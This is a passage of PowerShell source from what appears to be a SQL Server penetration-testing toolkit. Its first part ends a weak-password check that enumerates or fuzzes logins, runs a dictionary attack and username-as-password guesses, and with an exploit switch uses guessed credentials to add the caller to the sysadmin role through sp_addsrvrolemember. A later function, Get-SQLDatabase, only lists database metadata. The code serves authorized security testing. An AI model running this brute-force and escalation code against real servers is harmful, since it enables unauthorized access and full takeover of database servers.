    $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin -eq 'Yes')
    {
    # Query for logins
    Write-Verbose -Message "$Instance - Getting list of logins..."
    Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose |
    Where-Object -FilterScript {
    $_.PrincipalType -eq 'SQL_LOGIN'
    } |
    Select-Object -Property PrincipalName -ExpandProperty PrincipalName |
    ForEach-Object -Process {
    $LoginList += $_
    }
    }
    else
    {
    # Fuzz logins
    Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.."
    Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -FuzzNum $FuzzNum -SuppressVerbose |
    Where-Object -FilterScript {
    $_.PrincipleType -eq 'SQL Login'
    } |
    Select-Object -Property PrincipleName -ExpandProperty PrincipleName |
    ForEach-Object -Process {
    $LoginList += $_
    }
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials."
    }
    return
    }
    }

    # Check for users or return - count array
    if($LoginList.count -eq 0 -and (-not $FuzzLogins))
    {
    Write-Verbose -Message "$Instance - No logins have been provided."
    return
    }

    # Get passwords for testing - file
    if($PassFile)
    {
    Write-Verbose -Message "$Instance - Getting password from file..."
    Get-Content -Path $PassFile |
    ForEach-Object -Process {
    $PasswordList += $_
    }
    }

    # Get passwords for testing - variable
    if($TestPassword)
    {
    Write-Verbose -Message "$Instance - Getting supplied password..."
    $PasswordList += $TestPassword
    }

    # Check for provided passwords
    if($PasswordList.count -eq 0 -and ($NoUserAsPass))
    {
    Write-Verbose -Message "$Instance - No passwords have been provided."
    return
    }

    # Iternate through logins and perform dictionary attack
    Write-Verbose -Message "$Instance - Performing dictionary attack..."
    $LoginList |
    Select-Object -Unique |
    ForEach-Object -Process {
    $TargetLogin = $_
    $PasswordList |
    Select-Object -Unique |
    ForEach-Object -Process {
    $TargetPassword = $_

    $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
    Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestPass)
    {
    # Check if guess credential is a sysadmin
    $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin -eq 'Yes')
    {
    $SysadminStatus = 'Sysadmin'
    }
    else
    {
    $SysadminStatus = 'Not Sysadmin'
    }

    Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword"

    if($Exploit)
    {
    Write-Verbose -Message "$Instance - Trying to make you a sysadmin..."

    # Check if the current login is a sysadmin
    $IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin1 -eq 'Yes')
    {
    Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
    }
    else
    {
    Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..."

    # Add current user as sysadmin if login was successful
    Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose

    # Check if the current login is a sysadmin again
    $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin2 -eq 'Yes')
    {
    $Exploited = 'Yes'
    Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now."
    }
    else
    {
    $Exploited = 'No'
    Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."
    }
    }
    }

    # Add record
    $Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword."
    $IsVulnerable = 'Yes'
    $IsExploitable = 'Yes'
    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)
    }
    else
    {
    Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword"
    }
    }
    }

    # Test user as pass
    if(-not $NoUserAsPass)
    {
    $LoginList |
    Select-Object -Unique |
    ForEach-Object -Process {
    $TargetLogin = $_
    $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
    Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestPass)
    {
    # Check if user/name combo has sysadmin
    $IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin3 -eq 'Yes')
    {
    $SysadminStatus = 'Sysadmin'
    }
    else
    {
    $SysadminStatus = 'Not Sysadmin'
    }

    Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin"

    if(($Exploit) -and $IsSysadmin3 -eq 'Yes')
    {
    # Check if the current login is a sysadmin
    $IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin4 -eq 'Yes')
    {
    Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
    }
    else
    {
    Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..."

    # Add current user as sysadmin if login was successful
    Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose

    # Check if the current login is a sysadmin again
    $IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
    if($IsSysadmin5 -eq 'Yes')
    {
    $Exploited = 'Yes'
    Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now."
    }
    else
    {
    $Exploited = 'No'
    Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."
    }
    }
    }

    # Add record
    $Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin."
    $IsVulnerable = 'Yes'
    $IsExploitable = 'Yes'
    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)
    }
    else
    {
    Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin"
    }
    }
    }


    # -----------------------------------------------------------------
    # Check for exploit dependancies
    # Note: Typically secondary configs required for dba/os execution
    # -----------------------------------------------------------------
    # $IsExploitable = "No" or $IsExploitable = "Yes"
    # Check if the link is alive and verify connection + check if sysadmin


    # -----------------------------------------------------------------
    # Exploit Vulnerability
    # Note: Add the current user to sysadmin fixed server role
    # -----------------------------------------------------------------
    # $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin

    # Status User
    Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password"
    }

    End
    {
    # Return data
    if ( -not $NoOutput)
    {
    Return $TblData | Sort-Object -Property computername, instance, details
    }
    }
    }

    Function Get-SQLDatabase
    {
    <#
    .SYNOPSIS
    Returns database information from target SQL Servers.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .PARAMETER DAC
    Connect using Dedicated Admin Connection.
    .PARAMETER DatabaseName
    Database name to filter for.
    .PARAMETER NoDefaults
    Only select non default databases.
    .PARAMETER HasAccess
    Only select databases the current user has access to.
    .PARAMETER SysAdminOnly
    Only select databases owned by a sysadmin.
    .EXAMPLE
    PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
    ComputerName : SQLServer1
    Instance : SQLServer1\STANDARDDEV2014
    DatabaseId : 7
    DatabaseName : testdb
    DatabaseOwner : sa
    OwnerIsSysadmin : 1
    is_trustworthy_on : True
    is_db_chaining_on : False
    is_broker_enabled : True
    is_encrypted : False
    is_read_only : False
    create_date : 4/13/2016 4:27:36 PM
    recovery_model_desc : FULL
    FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
    DbSizeMb : 3.19
    has_dbaccess : 1
    .EXAMPLE
    PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Database name.')]
    [string]$DatabaseName,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Only select non default databases.')]
    [switch]$NoDefaults,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Only select databases the current user has access to.')]
    [switch]$HasAccess,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Only select databases owned by a sysadmin.')]
    [switch]$SysAdminOnly,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Create data tables for output
    $TblResults = New-Object -TypeName System.Data.DataTable
    $TblDatabases = New-Object -TypeName System.Data.DataTable
    $null = $TblDatabases.Columns.Add('ComputerName')
    $null = $TblDatabases.Columns.Add('Instance')
    $null = $TblDatabases.Columns.Add('DatabaseId')
    $null = $TblDatabases.Columns.Add('DatabaseName')
    $null = $TblDatabases.Columns.Add('DatabaseOwner')
    $null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
    $null = $TblDatabases.Columns.Add('is_trustworthy_on')
    $null = $TblDatabases.Columns.Add('is_db_chaining_on')
    $null = $TblDatabases.Columns.Add('is_broker_enabled')
    $null = $TblDatabases.Columns.Add('is_encrypted')
    $null = $TblDatabases.Columns.Add('is_read_only')
    $null = $TblDatabases.Columns.Add('create_date')
    $null = $TblDatabases.Columns.Add('recovery_model_desc')
    $null = $TblDatabases.Columns.Add('FileName')
    $null = $TblDatabases.Columns.Add('DbSizeMb')
    $null = $TblDatabases.Columns.Add('has_dbaccess')

    # Setup database filter
    if($DatabaseName)
    {
    $DatabaseFilter = " and a.name like '$DatabaseName'"
    }
    else
    {
    $DatabaseFilter = ''
    }

    # Setup NoDefault filter
    if($NoDefaults)
    {
    $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
    }
    else
    {
    $NoDefaultsFilter = ''
    }

    # Setup HasAccess filter
    if($HasAccess)
    {
    $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
    }
    else
    {
    $HasAccessFilter = ''
    }

    # Setup owner is sysadmin filter
    if($SysAdminOnly)
    {
    $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
    }
    else
    {
    $SysAdminOnlyFilter = ''
    }
    }

    Process
    {
    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }
    return
    }

    # Check version
    $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
    if($SQLVersionFull)
    {
    $SQLVersionShort = $SQLVersionFull.Split('.')[0]
    }

    # Base query
    $QueryStart = " SELECT '$ComputerName' as [ComputerName],
    '$Instance' as [Instance],
    a.database_id as [DatabaseId],
    a.name as [DatabaseName],
    SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
    IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
    a.is_trustworthy_on,
    a.is_db_chaining_on,"

    # Version specific columns
    if([int]$SQLVersionShort -ge 10)
    {
    $QueryVerSpec = '
    a.is_broker_enabled,
    a.is_encrypted,
    a.is_read_only,'
    }

    # Query end
    $QueryEnd = '
    a.create_date,
    a.recovery_model_desc,
    b.filename as [FileName],
    (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
    from sys.master_files where name like a.name) as [DbSizeMb],
    HAS_DBACCESS(a.name) as [has_dbaccess]
    FROM [sys].[databases] a
    INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'

    # User defined filters
    $Filters = "
    $DatabaseFilter
    $NoDefaultsFilter
    $HasAccessFilter
    $SysAdminOnlyFilter
    ORDER BY a.database_id"

    $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"

    # Execute Query
    $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

    # Append results for pipeline items
    $TblResults |
    ForEach-Object -Process {
    # Set version specific values
    if([int]$SQLVersionShort -ge 10)
    {
    $is_broker_enabled = $_.is_broker_enabled
    $is_encrypted = $_.is_encrypted
    $is_read_only = $_.is_read_only
    }
    else
    {
    $is_broker_enabled = 'NA'
    $is_encrypted = 'NA'
    $is_read_only = 'NA'
    }

    $null = $TblDatabases.Rows.Add(
    $_.ComputerName,
    $_.Instance,
    $_.DatabaseId,
    $_.DatabaseName,
    $_.DatabaseOwner,
    $_.OwnerIsSysadmin,
    $_.is_trustworthy_on,
    $_.is_db_chaining_on,
    $is_broker_enabled,
    $is_encrypted,
    $is_read_only,
    $_.create_date,
    $_.recovery_model_desc,
    $_.FileName,
    $_.DbSizeMb,
    $_.has_dbaccess
    )
    }

    }

    End
    {
    # Return data
    $TblDatabases
    }
    }